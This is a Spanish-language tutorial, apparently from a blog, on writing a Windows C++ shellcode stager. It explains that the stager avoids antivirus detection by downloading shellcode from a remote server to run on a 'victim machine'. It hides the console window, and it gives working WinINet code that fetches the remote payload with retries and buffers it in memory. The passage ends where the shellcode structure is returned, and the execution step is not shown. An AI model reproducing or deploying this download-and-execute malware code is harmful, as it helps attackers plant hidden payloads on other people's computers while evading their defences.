Un stager, a diferencia de las técnicas mostradas en shellcode execution, es un payload que no contiene el shellcode en sí, sino que se encarga de descargar el shellcode desde un servidor y ejecutarlo posteriormente en la máquina víctima. Esto trae diversas ventajas, ya que el peso del payload es muy inferior al de un stageless. También ayuda a evitar la detección de antivirus y sistemas de detección.
Después se definen dos prototipos de funciones, Download que devuelve una estructura shellcode y otra función Execute que no devuelve nada pero acepta como parámetros esta estructura. Los prototipos de función permiten su uso en el bloque main() antes de su declaración.
Bloque Main
En esta parte es cuando se utilizan las funciones previamente declaradas, y antes de eso se coloca ::ShowWindow(::GetConsoleWindow(), SW_HIDE) para ocultar la consola. En la función Download() se especifica la dirección ip o nombre de dominio del server de donde se descargará el shellcode junto a su puerto.
Función Download
Las principales funciones que componen a Download son las siguientes:
InternetOpen se encarga de crear un handle HTTP definiendo un User-Agent , este nos va a servir para crear una conexión.
InternetConnect en el que le vamos a pasar la sesión creada, junto a la dirección del server y su puerto.
Con HttpOpenRequest creamos la request http pasandole la conexión creada y el nombre del archivo que vamos a querer descargar el contenido.
Para liberar recursos utilizaremos InternetCloseHandle para cerrar los handles anteriormente creados.
Como en primaria instancia puede fallar el realizar la conexión se puede intentar varias veces, esta porción de código se encarga de evaluar si no se envió la solicitud http el reintentar, en este caso hasta 3 veces.
WORD counter = 0;
while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
//printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging
counter++;
Sleep(3000);
if (counter >= 3) {
exit(0); // HTTP requests eventually failed
}
}
Con el siguiente código vamos a leer el contenido del shellcode hosteado por el server, y para almacenar el resultado en la variable payload, como no sabemos el tamaño del shellcode le vamos a asignar BUFSIZE, con esto le decimos al compilador que decida cual será el tamaño.
El primer condicional sirve para evaluar si InternetReadFile pudo leer data, sino termina la ejecución del proceso.
Con el tercer if validamos si el tamaño del payload es pequeño, lo duplicamos.
Una vez se termine de leer la data con InternetReadFile, se encargará de romper el bucle while.
DWORD bufSize = BUFSIZ;
byte* buffer = new byte[bufSize];
DWORD capacity = bufSize;
byte* payload = (byte*)malloc(capacity);
DWORD payloadSize = 0;
while (true) {
DWORD bytesRead;
if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
//printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging
exit(0);
}
if (bytesRead == 0) break;
if (payloadSize + bytesRead > capacity) {
capacity *= 2;
byte* newPayload = (byte*)realloc(payload, capacity);
payload = newPayload;
}
for (DWORD i = 0; i < bytesRead; i++) {
payload[payloadSize++] = buffer[i];
}
}
byte* newPayload = (byte*)realloc(payload, payloadSize);
Para retornar este shellcode se define una estructura Shellcode (previamente definida) y se retorna este valor